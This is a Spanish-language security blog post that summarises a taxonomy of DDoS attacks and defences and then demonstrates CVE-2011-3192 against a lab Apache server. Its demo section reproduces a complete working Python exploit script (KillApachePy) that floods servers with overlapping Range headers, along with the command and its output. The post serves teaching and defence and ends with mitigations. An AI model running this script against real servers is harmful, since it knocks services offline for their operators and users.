/ Investigacion

Taxonomía de ataques DDoS y mecanismos de defensa DDoS

Basado en la investigación de Jelena Mirkovic y Peter Reiher

Ataque de negación de servicio distribuido(DDoS por sus siglas en inglés, Distributed Denial of Service) se lleva a cabo generando un gran flujo de información desde varios puntos de conexión hacia un mismo punto de destino. En este Post se mostrarán 2 tipos de taxonomías para clasificarlos por ataques y contramedidas, esto para resaltar similitudes, características y estrategias con la intención de diseñar medidas al respecto.

Introducción
El desarrollo y uso de las técnicas de ataques DDoS se incrementaron en el transcurso de tiempo al igual que los atacantes constantemente modifican el enfoque de los mismos, este estudio trata de cubrir tanto los ataques conocidos como posibles modificaciones, divididas o niveles.

Aspectos generales
que hace posible los ataques DDOS?
según como está diseñado Internet, sigue un paradigma end-to-end, por lo que, en una comunicación en 2 vías, no existe un tercero que pueda controlar la posibilidad de que se envíen paquetes maliciosos, para poder detenerlos inmediatamente. Además de la posibilidad de realizar IP Spoofing, lo cual dificulta aún más su control sin afectar clientes verdaderos del Host víctima.

cómo se realizan los ataques de DDOS?
Para empezar, constan de distintas fases. Usualmente con la ayuda de escaneos automáticos se buscan dispositivos que puedan llegar a ser vulnerables, en palabras simples, empieza el reclutamiento del ejercito; Teniendo identificados estos, son explotados o infectados de igual manera automáticamente en lo general, para introducir el código malicioso que servirá posteriormente para con estos nuevos reclutas continuar con un mayor reclutamiento, yo lo llamaría como una estafa piramidal.

por que se realizan los ataques de DDOS?
Usualmente son por motivos personales(venganza) o reputación (conseguir respeto y fama). Sin embargo, también son realizados por motivos económicos (dañar a un competidor) y políticos (como una guerra en la que se podría dejar a todo un país sin servicios de internet, un hecho que Rusia hace poco tomo en cuenta y trabaja en mejorar su independencia en servicios de internet y contramedidas ante esto).

Taxonomía de ataques DDOS
DA: Degree of Automation (Grado de automatización)
DA-1 Manual
Las fases mencionadas anteriormente de escaneo y explotación son realizadas por el atacante de forma manual en su completitud.

DA-2 Semi-Automatic

...
DDoS-Attack-Mechanisms

Taxonomía de mecanismos de defensa DDOS

DoS-Defense-Mechanisms

Para más detalles sobre cada clasificación, aquí el artículo.


Demo Time | CVE-2011-3192
Para dar un ejemplo práctico de un ataque DDOS tome como caso de estudio el ataque denominado ApacheKiller, que permite a los atacantes realizar una denegación de servicio (consumo de memoria y CPU) a través del Header Range que expresa múltiples rangos superpuestos, y que este tiene asignado el CVE-2011-3192. Tiene como versiones afectadas en Apache HTTP Server 1.3.x, 2.0.x hasta 2.0.64 y 2.2.x hasta 2.2.19. En mi caso use Window$7 como Host Victima con Apache v2.2.15 y con un script hecho en python para realizar el ataque.

Paso 1
Instalar y correr una versión Apache vulnerable descrita previamente
1

Paso 2
Realice un pequeño test, para que puedan observar a detalle el Request, en el que además nos manda la versión de Apache que se utiliza, esto en un Test ya remunerado o Bug Bounty puede sernos de mucha utilidad claramente.
2

Paso 3
Con el script realizado en Python por Miroslav Stampar hacemos el testeo

#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION     = "0.1c"
AUTHOR      = "Miroslav Stampar (@stamparm)"
LICENSE     = "Public domain (FREE)"
SHORT       = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
REFERENCE   = "http://seclists.org/fulldisclosure/2011/Aug/175"

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    if '://' not in url:
        url = "http://%s" % url

    host = urlparse.urlparse(url).netloc

    user_agent = user_agent or USER_AGENT

    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request):
        '''
        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        '''
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False):
        '''
        Send the vulnerable request to the target
        '''
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if 'timed out' in str(msg):
                print "\r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerable\n"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "\r(x) Ctrl-C was pressed"
        os._exit(1)

def main():
    print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

Y configurandolo con el proxy de Burp Suite quedaría algo así en terminal:

root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy="http://127.0.0.1:8080"
KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
by: Miroslav Stampar (@stamparm)

(Note(s) You'll typically have to wait for 10-20 iterations before first
connection timeouts. More complex/bigger the page the better)

(i) Checking target for vulnerability...
(o) Target seems to be vulnerable
(1) Creating new threads

una vez ejecutado esto regresemos a ver nuestro servidor:
4
Como pueden ver, el Uso de CPU esta hasta el tope, por lo cual podemos evidenciar la vulnerabilidad a la que es susceptible estas versiones de Apache sin embargo analicemos las peticiones que se enviaron.
5
cómo ven, se envía peticiones con Range superpuestos por lo cual nuestro servidor debe procesar todo esto en mayor tiempo (consumiendo así recursos), lo cual a gran escala resulta fatal.
6
Como tal este sería un ataque DOS, que sin embargo logro un 100% de Uso de CPU, ahora con un ataque simultaneo con más maquinas (DDOS), podría resultarnos en una pantalla azul, dejando abajo el servidor.

Este sería un ejemplo en nuestra Taxonomía de un EW-1(Exploited Weakness to Deny Services:Semantic) dado que el ataque aprovecha un bug que resultó en estas versiones de Apache.

Una solución a este problema sería una actualización del servidor y/o parches si los tuviera, también un WAF como modSecurity. Por esto la taxonomía a nuestro mecanismo de defensa contra el DDOS seria AL-1:PG-1:ST-1(Activity Level:Preventive - Prevention Goal:Attack Prevention - Secured Target: System Security).

Eso sería, si tuvieran dudas no duden en escribir.
-Hackers are People Too 😜